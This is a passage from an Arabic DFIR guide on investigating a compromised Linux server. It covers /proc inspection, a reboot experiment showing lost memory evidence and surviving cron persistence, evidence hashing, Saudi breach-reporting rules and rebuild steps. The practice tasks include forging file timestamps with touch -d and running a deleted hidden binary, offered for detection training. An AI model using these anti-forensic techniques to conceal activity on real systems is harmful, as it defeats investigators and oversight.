- `/proc/PID/environ`: متغيرات البيئة التي شغلت بها، وقد تحمل عناوين أو مفاتيح.
- `/proc/PID/fd`: الملفات والمقابس Sockets المفتوحة الآن، فترى ما يقرأ وما يكتب وبمن يتصل.
- `/proc/PID/maps`: مناطق الذاكرة ومكتباتها، ومنها تكتشف المكتبات المحقونة.
- `/proc/PID/status`: الأب PPid، والمستخدم، والصلاحيات، وحالة العملية.

وهذه كلها تقرؤها بأمر `cat` أو `readlink` دون أن تثق بأداة مزروعة، لأن النواة هي التي تولدها. ولكن انتبه: قراءتك لها هي نفسها أثر على الجهاز، لذلك سجلها في مخرج واحد مؤرخ، ولا تعتمد عليها وحدها، بل خذ نسخة كاملة من الذاكرة بأداة مثل AVML أو LiME لتحلل بـ Volatility بتأن لاحقاً، فالذاكرة الكاملة تحمل ما لا يظهر في `/proc`، مثل كود محقون في عملية سليمة، أو أوامر مسحت من سجل الـ Shell وبقيت في ذاكرته، كما رأينا في مقال تحليل الذاكرة.

ولماذا نبدأ بالعمليات قبل الملفات؟ لأن العملية هي الدليل الحي الوحيد الذي يربط كل الأجزاء: من الملف التنفيذي (حتى لو حذف)، إلى الاتصال الشبكي، إلى المستخدم الذي يملكها، إلى وقت بدئها. فإذا بدأت بالقرص وحده رأيت ملفات ساكنة لا تعرف أيها يعمل الآن ولا من شغله. ولهذا رتبنا التحقيق كما رتبناه: العملية تقودك إلى الملف والشبكة والمستخدم، لا العكس.

## تجربة «ماذا لو»: ماذا يحدث عند إعادة التشغيل؟

قلنا إن إعادة التشغيل تمحو الأدلة، ولنثبت ذلك بالأرقام لا بالكلام. عددنا العمليات التي تعمل من ملفات محذوفة قبل إعادة التشغيل وبعدها، ونظرنا إلى الملفات على القرص:

```bash
# قبل:
for p in /proc/[0-9]*; do readlink $p/exe 2>/dev/null; done | grep -c deleted
# → 1
# ... إعادة تشغيل السيرفر ...
# بعد:
for p in /proc/[0-9]*; do readlink $p/exe 2>/dev/null; done | grep -c deleted
# → 0
ls -la /var/tmp/.systemd-private    # → No such file or directory
cat /etc/cron.d/sys-update          # → ما زالت موجودة
ls -la /var/tmp/.cache/             # → update ما زال موجوداً
```

النتيجة صريحة: قبل إعادة التشغيل كانت هناك عملية واحدة تعمل من ملف محذوف، وبعدها صفر. الملف التنفيذي الخبيث الذي كان يمكن استعادته من `/proc` اختفى نهائياً، لأنه كان موجوداً في الذاكرة فقط. ولكن مهمة Cron ونسخة القرص في `/var/tmp/.cache` بقيتا سالمتين، أي أن البرنامج سيعود في التشغيلة التالية لـ Cron. فإعادة التشغيل أضاعت الدليل الوحيد الذي كان يسمح بتحليل البرنامج، وأبقت الآلية التي تعيد المشكلة. والصورة التالية تلخص ما ضاع وما بقي:

![عمودان: ما ضاع بإعادة التشغيل من الذاكرة، وما بقي على القرص](https://arabroot.io/content/images/2026/10/compromised-linux-01-reboot.webp)

أسوأ النتيجتين معاً: ضاعت أدلة التحقيق، وبقيت طريقة المهاجم في العودة

## الجمع مع الهاش وسلسلة الحيازة

كل ما جمعناه لا قيمة له في تقرير أو قضية إن لم يكن معه هاش يثبت أنه لم يتغير، وسجل يقول من جمعه ومتى. فبعد كل خطوة، احسب هاش الأدلة التي جمعتها:

```bash
sha256sum /etc/cron.d/sys-update /var/www/html/uploads/thumb.php \
          /root/.bash_history /root/.ssh/authorized_keys recovered.bin
```

```text
aa796ecfb3fc50764e87d0ea27244c8e395911a82c03f0c765bbdf25e2ca64c6  /etc/cron.d/sys-update
ec409e094c956fafda5ed49a25f0f18ba51d72f5988ee33b4871a4c74b486d76  /var/www/html/uploads/thumb.php
6375ea341d454a19e611bef7efdc465238ce7541ffbb23180272c2c9d018e642  /root/.bash_history
0cba8e21ed65db925054c9e266098e7cb8a88d70e323c13a49dbf0f60abf3504  /root/.ssh/authorized_keys
0637e6d47579929cb72efa46f361861b319d62c62fe8a9d10731fd7655eb5936  recovered.bin
```

واكتب في سجل الحادثة لكل خطوة: الوقت بالضبط بتوقيت موحد، والأمر الذي نفذته، وأين حفظت الناتج، وهاشه. وهذا ما يسمى سلسلة الحيازة Chain of Custody التي شرحناها في دليل DFIR، وهي ما يجعل أداة جمع جاهزة مثل UAC (في مقال الأدوات) أفضل من الأوامر اليدوية، لأنها تنفذ قائمة ثابتة وتحسب الهاش وتسجل كل شيء وحدها دون أن تنسى خطوة. وفي سيرفر واحد يمكنك الجمع يدوياً كما فعلنا للتعلم، أما في حادثة حقيقية فاستخدم أداة جمع إلى قرص خارجي أو مجلد شبكي، حتى لا تكتب فوق مساحة على القرص المخترق قد تحمل ملفات محذوفة تحتاجها.

ولماذا نصر على الكتابة خارج القرص المخترق؟ لأن نظام الملفات لا يمحو الملف فورا عند حذفه، بل يحرر مساحته ليعاد استخدامها، فيبقى المحتوى على القرص حتى تكتب بيانات جديدة فوقه. وهذا بالضبط ما يسمح باستخراج الملفات المحذوفة من نسخة القرص لاحقاً، كما رأينا في مقال الأدوات. فإذا جمعت أدلتك إلى القرص نفسه، أو حتى شغلت برامج تكتب ملفات مؤقتة عليه، فقد تكتب فوق ملف حذفه المهاجم قبل قليل وكنت ستستعيده. ولذلك كل كتابة على القرص المخترق خسارة محتملة، والأدلة تخرج دائماً إلى وسط آخر.

وكم تجمع؟ هذا يعتمد على القضية ووقتك، ولكن الحد الأدنى المعقول في فرز الحوادث Triage: نسخة الذاكرة، ومخرج العمليات والاتصالات والمستخدمين، ونسخ من ملفات السجلات في `/var/log`، وملفات الـ Shell والمهام المجدولة، وقائمة بأوقات كل الملفات (Body File)، وهاش كل ملف تنفيذي عامل. وأداة مثل UAC تجمع هذه القائمة الثابتة في دقائق وتحسب الهاش وتسجل كل شيء، وهي أفضل من محاولة تذكر كل أمر تحت ضغط الحادثة. أما النسخة الكاملة للقرص فتأخذها عندما تحتاج تحليلاً عميقا أو استخراج ملفات محذوفة، وهي تأخذ وقتاً أطول، فلا تنتظرها قبل أن تجمع الأدلة الحية التي تختفي.

## الجانب السعودي: متى تبلغ وماذا تحفظ؟

التحقيق التقني ليس كل شيء، فالمؤسسة في السعودية عليها التزامات نظامية. فالضوابط الأساسية للأمن السيبراني ECC من الهيئة الوطنية للأمن السيبراني (NCA) تخصص المكون الفرعي [2-13 إدارة حوادث وتهديدات الأمن السيبراني](https://nca.gov.sa/ar/regulatory-documents/controls-list/ecc/?ref=arabroot.io)، وينص الضابط 2-13-3 على أن تتضمن متطلبات إدارة الحوادث كحد أدنى خطط الاستجابة وإجراءات التصعيد، وتصنيف الحوادث، والتبليغ عن حوادث الأمن السيبراني للهيئة الوطنية للأمن السيبراني، ومشاركة الإشعارات ومؤشرات الاختراق وتقارير الحوادث معها. وقد راجعنا هذا في النص الرسمي لوثيقة [ECC-2:2024](https://cdn.nca.gov.sa/api/files/public/upload/86e09090-44e4-481f-bc28-355673607654%5FECC--2024-EN.pdf?ref=arabroot.io) قبل ذكره، ولم نخترع رقماً.

وإذا مست الحادثة بيانات شخصية، يضاف التزام ثان: المادة 24 من [اللائحة التنفيذية لنظام حماية البيانات الشخصية](https://sdaia.gov.sa/en/SDAIA/about/Documents/ImplementingRegulation.pdf?ref=arabroot.io) من سدايا، التي تلزم جهة التحكم بإبلاغ الهيئة المختصة خلال مدة لا تتجاوز 72 ساعة، ويتضمن الإبلاغ وصف الحادثة ووقتها وتاريخها ووقت العلم بها، وهذا بالضبط ما يعطيك إياه التحقيق الدقيق: وقت البداية الحقيقي لا المزور، وما مس من بيانات، وكيف دخل المهاجم. فالتحقيق الحذر ليس ترفاً تقنياً، بل هو ما يجعلك قادراً على الإبلاغ الصحيح في الوقت المطلوب، لأن من أعاد التشغيل ومحا الأدلة لن يعرف متى بدأت الحادثة ولا ماذا مس، فلا يستطيع أن يبلغ بلاغاً صحيحاً.

⚠️

أرقام الضوابط والمواد أعلاه من الوثائق الرسمية للهيئة الوطنية للأمن السيبراني وسدايا كما هي عند كتابة المقال، وهي مرجعك الأصل. راجع دائماً النص الرسمي والنسخة السارية قبل أن تبني عليها إجراء، فالمقال يشرح ولا يحل محل الوثيقة.

## بعد التحقيق: أعد البناء ولا تنظف

بعد أن تجمع الأدلة وتفهم الحادثة، يأتي سؤال التعافي Recovery: كيف تعيد السيرفر إلى العمل آمنا؟ والجواب الذي يصعب على كثيرين قبوله: لا تنظف السيرفر المخترق وتعيد تشغيله، بل أعد بناءه من نسخة نظيفة. والسبب أنك لا تستطيع أن تثق بجهاز سيطر عليه مهاجم بصلاحية root، فقد زرع ما لم تجده: نسخة مزروعة من أداة، أو وحدة نواة خبيثة، أو باب خلفي في مكان لم تفحصه. وكل ما وجدته في هذا المقال هو ما تركه المهاجم ظاهرا نسبيا، أما من يخفي نفسه جيدا فقد لا تجده، والثقة في جهاز لا تستطيع إثبات نظافته خطأ يعيد الحادثة.

وخطوات التعافي الصحيحة بالترتيب: أولا تثبت نظاما جديدا من مصدر موثوق على عتاد أو جهاز افتراضي نظيف، وتعيد التطبيق من كوده في مستودع Git ومن نسخة احتياطية تثق بها، لا من السيرفر المخترق. ثانيا تغير كل الأسرار التي كان يعرفها المهاجم: كلمات مرور كل الحسابات، ومفاتيح SSH، ومفاتيح الـ API، وشهادات TLS إن كان وصل إليها، لأنها كلها في حكم المكشوفة. وقد شرحنا إدارة هذه الأسرار في دليل [إدارة الهوية والوصول المميز](https://arabroot.io/articles/%D8%A7%D8%AF%D8%A7%D8%B1%D8%A9-%D8%A7%D9%84%D9%87%D9%88%D9%8A%D8%A9-%D9%88%D8%A7%D9%84%D9%88%D8%B5%D9%88%D9%84-iam-%D9%88%D8%A7%D9%84%D9%88%D8%B5%D9%88%D9%84-%D8%A7%D9%84%D9%85%D9%85%D9%8A%D8%B2-pam/). ثالثا تغلق طريق الدخول الذي استغله المهاجم: إن كان كلمة مرور ضعيفة لحساب SSH، تفرض مفاتيح بدل كلمات المرور وتقوية الدخول؛ وإن كانت ثغرة في التطبيق، تصلحها قبل أن تعيد النشر، وإلا عاد المهاجم من الباب نفسه.

ولاحظ الترتيب: التحقيق قبل التعافي. فمن ينظف ويعيد البناء قبل أن يفهم كيف دخل المهاجم، يصلح العرض ويترك السبب، فيعود الاختراق بعد أيام. ولهذا كل ما في هذا المقال من حرص على الأدلة ليس ترفا، بل هو ما يعطيك الجواب عن «كيف دخل؟» الذي بدونه لا يكتمل التعافي. والنسخة الكاملة من القرص التي أخذتها تبقى محفوظة مع هاشها، فإذا احتجت لاحقا أن تعود إلى دليل، أو طلبته جهة رسمية، أو أردت أن تحلل الملف الخبيث بتعمق، وجدته كما تركته.

## قائمة الساعة الأولى

الأفعال التي تفسد الأدلة وبدائلها تجدها مجمعة في الصورة التالية، وكل واحدة منها جربناها أو وثقناها:

![ست بطاقات لأفعال تفسد الأدلة والبديل الآمن لكل منها](https://arabroot.io/content/images/2026/10/compromised-linux-03-mistakes.webp)

ستة أفعال تفسد الأدلة، وبديلها الآمن، لتعلقها على جدار فريق الاستجابة

وفيما يلي ترتيب الساعة الأولى على سيرفر Linux مشكوك فيه:

- **لا تطفئ ولا تعد التشغيل.** اعزل السيرفر عن الشبكة، أو خذ لقطة Snapshot في السحابة، وأبق الذاكرة حية.
- **اجمع الذاكرة أولاً** بأداة من حقيبتك، ثم العمليات والاتصالات من `/proc` و`ss`، كلها بأدوات موثوقة بمسارها الكامل.
- **سجل بوديفايل Body File** لأوقات كل الملفات قبل أن تقرأ أي محتوى.
- **ابحث عن الملف المحذوف العامل** في `/proc/*/exe`، واستعده قبل أن تنتهي العملية.
- **افحص الثبات:** Cron، وحسابات UID صفر، ومفاتيح SSH، وخدمات systemd، وملفات الـ Shell.
- **احسب الهاش لكل شيء،** واحفظ الأدلة خارج الجهاز المخترق، وسجل كل خطوة بوقتها.
- **لا تنظف قبل أن تفهم:** اعزل، ثم حقق، ثم أعد البناء من نسخة نظيفة، ثم أغلق طريق الدخول.
- **أبلغ النظامي:** إذا مست البيانات الشخصية فالساعة 72 تبدأ من علمك، فابدأ التوثيق من اللحظة الأولى.

## أخطاء شائعة

- **إعادة التشغيل لتنظيف السيرفر:** تمحو الذاكرة والعملية والملف المحذوف، وتبقي الثبات، فالمشكلة تعود والدليل يضيع.
- **الثقة بـ ls وps على الجهاز المخترق:** قد تكون مزروعة، فقارن بأكثر من طريقة واستخدم أدوات من قرص خارجي.
- **قراءة الملفات بـ cat على الأصل:** تفسد وقت الوصول، فاعمل على نسخة مركبة `ro,noatime`.
- **الحكم على الوقت بـ mtime وحده:** قد يكون مزوراً، فقارنه بـ `ctime` ومصادر أخرى.
- **حذف الملف الخبيث فوراً:** يطمس الدليل، فاحتفظ بنسخة وهاش قبل أي تنظيف.
- **الكتابة على القرص المخترق:** تطمس ملفات محذوفة، فاكتب الأدلة إلى قرص آخر.
- **العمل بلا سجل ولا هاش:** دليل لا تثبت سلامته لا يفيد في تقرير أو قضية.

## الخلاصة

وصلنا لنهاية الموضوع وإلى نهاية سلسلة التحقيق الرقمي، وأهم ما ظهر في المختبر:

- اللحظة التالية للاكتشاف أخطر من الاكتشاف نفسه: إعادة التشغيل تمحو الذاكرة والعملية والملف المحذوف العامل، وتبقي الثبات، وأثبتنا ذلك بالأرقام.
- اجمع بترتيب التقلب: الذاكرة والعمليات أولاً، ثم الشبكة، ثم نظام الملفات، ثم نسخة القرص، وكل ذلك على نسخة لا على الأصل.
- لا تثق بأدوات الجهاز المخترق، فـ `ls` المزروع في المختبر كان ملفاً نصياً من 72 بايتاً يخفي ثلاثة أسماء.
- فحصك أنت يفسد الأدلة: أمر `cat` واحد نقل وقت الوصول من يناير إلى لحظة الفحص، فاقرأ المحتوى على نسخة.
- البرنامج من ملف محذوف يستعاد من `/proc/PID/exe` ما دامت العملية حية، وهذا ما يميز الجهاز الحي عن القرص وحده.
- تزوير الوقت يكشف بمقارنة `mtime` بـ `ctime`: الأول كان يناير والثاني أكتوبر الحقيقي، فالقاعدة في كل السلسلة ألا تثق بمصدر واحد.
- الهاش وسلسلة الحيازة يحولان ما جمعت إلى دليل، والإبلاغ النظامي يحتاج وقت البداية الحقيقي الذي لا يعرفه من أفسد الأدلة.

وبهذا تكتمل السلسلة: من المفاهيم والأدلة وسلسلة الحيازة، إلى الأدوات، إلى البحث على نطاق واسع، إلى الذاكرة، إلى الخط الزمني، إلى هذه الحالة المتكاملة. والخطوة التالية لفريق ناضج أن يبني هذه الخطوات في كتيب تشغيل Playbook مكتوب قبل الحادثة، ويجربه في تمرين، فأفضل وقت لتتعلم جمع الأدلة ليس وقت الحادثة.

[![](https://arabroot.io/content/images/2026/10/dfir-basics-cover-cover.webp)دليلالتحقيق الرقمي DFIR للمبتدئين: احفظ الأدلة قبل أن تنظف السيرفرماذا تفعل عندما تشك أن سيرفرك مخترق، ولماذا تمسح إعادة التشغيل والتنظيف الأدلة التي تحتاجها لتعرف ما حدث.](https://arabroot.io/articles/%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%84%D9%84%D9%85%D8%A8%D8%AA%D8%AF%D8%A6%D9%8A%D9%86-dfir/)[![](https://arabroot.io/content/images/2026/10/forensics-tools-cover-cover.webp)دليلأدوات التحقيق الرقمي مفتوحة المصدر وكيف تستخدمهاالأدوات المفتوحة التي تحتاجها في كل مرحلة من التحقيق الرقمي، من نسخ القرص واسترجاع ملف محذوف إلى بناء خط زمني لما حدث.](https://arabroot.io/articles/%D8%A7%D8%AF%D9%88%D8%A7%D8%AA-%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9-%D8%A7%D9%84%D9%85%D8%B5%D8%AF%D8%B1/)[![](https://arabroot.io/content/images/2026/10/velociraptor-lab-cover-cover.webp)دليلالبحث عن آثار الاختراق Hunt في كل سيرفراتك مع Velociraptorبنينا سيرفر Velociraptor وثلاثة عملاء وبحثنا عن آثار اختراق مزروعة بسبع عمليات Hunt، فظهر ما وجدته الأداة وما فاتها بإعداداتها الافتراضية.](https://arabroot.io/articles/%D8%A7%D9%84%D8%A8%D8%AD%D8%AB-%D8%B9%D9%86-%D8%A7%D8%AB%D8%A7%D8%B1-%D8%A7%D9%84%D8%A7%D8%AE%D8%AA%D8%B1%D8%A7%D9%82-%D9%81%D9%8A-%D9%83%D9%84-%D8%A7%D9%84%D8%B3%D9%8A%D8%B1%D9%81%D8%B1%D8%A7%D8%AA-%D9%85%D8%B9-velociraptor/)[![](https://arabroot.io/content/images/2026/10/volatility-lab-cover-cover.webp)دليلتحليل ذاكرة الجهاز Memory Forensics مع Volatility 3حللنا نسختي ذاكرة رسميتين من سيرفر Debian وجهاز Windows 10، فاستخرجنا البرامج والاتصالات وأوامر Bash، ورأينا أين تخطئ malfind.](https://arabroot.io/articles/%D8%AA%D8%AD%D9%84%D9%8A%D9%84-%D8%B0%D8%A7%D9%83%D8%B1%D8%A9-%D8%A7%D9%84%D8%AC%D9%87%D8%A7%D8%B2-memory-forensics-%D9%85%D8%B9-volatility-3/)[![](https://arabroot.io/content/images/2026/10/timeline-plaso-cover-cover.webp)دليلالخط الزمني للحادث Timeline مع Plaso وTimesketchبنينا خطاً زمنياً شاملاً لحادثة اختراق سيرفر بأداة Plaso، فأعاد الهجوم بالدقيقة، ثم رفعناه إلى Timesketch وشغلنا محلل تخمين كلمة المرور.](https://arabroot.io/articles/%D8%A7%D9%84%D8%AE%D8%B7-%D8%A7%D9%84%D8%B2%D9%85%D9%86%D9%8A-%D9%84%D9%84%D8%AD%D8%A7%D8%AF%D8%AB-timeline-%D9%85%D8%B9-plaso-%D9%88-timesketch/)

## تدريب عملي Practice

- على جهاز اختبار لك: انسخ `/bin/sleep` إلى `/tmp/.x`، شغله في الخلفية، ثم احذف الملف، ثم جرب أن تجد العملية وتستعيد الملف من `/proc`.
- خذ ملفاً، غير وقت تعديله إلى تاريخ قديم بـ `touch -d`، ثم قارن `mtime` بـ `ctime`، وتأكد كيف يكشف التزوير.

## سجل التحديثات

- أكتوبر 2026: كتابة الدليل وتنفيذ المختبر يوم 26 أكتوبر 2026 على Debian في Container، بحادثة مزروعة وتحقيق حي خطوة خطوة.